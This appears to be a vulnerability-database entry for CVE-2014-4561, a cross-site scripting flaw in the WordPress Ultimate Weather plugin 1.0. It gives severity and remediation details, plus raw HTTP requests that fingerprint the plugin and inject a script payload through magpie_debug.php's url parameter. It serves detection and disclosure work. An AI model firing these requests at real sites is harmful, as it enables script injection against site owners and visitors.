| Title | Ultimate Weather Plugin <= 1.0 - Cross-Site Scripting |
|---|---|
| Author | daffainfo |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into the plugin's output, potentially leading to the execution of arbitrary code or stealing sensitive information. |
| Remediation | Upgrade to a patched version of the Ultimate Weather Plugin that addresses the XSS vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.12801 |
| CVE ID | CVE-2014-4561 |
| CWE ID | CWE-79 |
| Tags | cve2014 cve wordpress wp-plugin xss weather wpscan unauth ultimate-weather_project vuln |
The ultimate-weather plugin 1.0 for WordPress contains a cross-site scripting vulnerability.
GET /wp-content/plugins/ultimate-weather-plugin/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/14.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/ultimate-weather-plugin/magpierss/scripts/magpie_debug.php?url=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-4561.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-4561.pcap
N/AN/A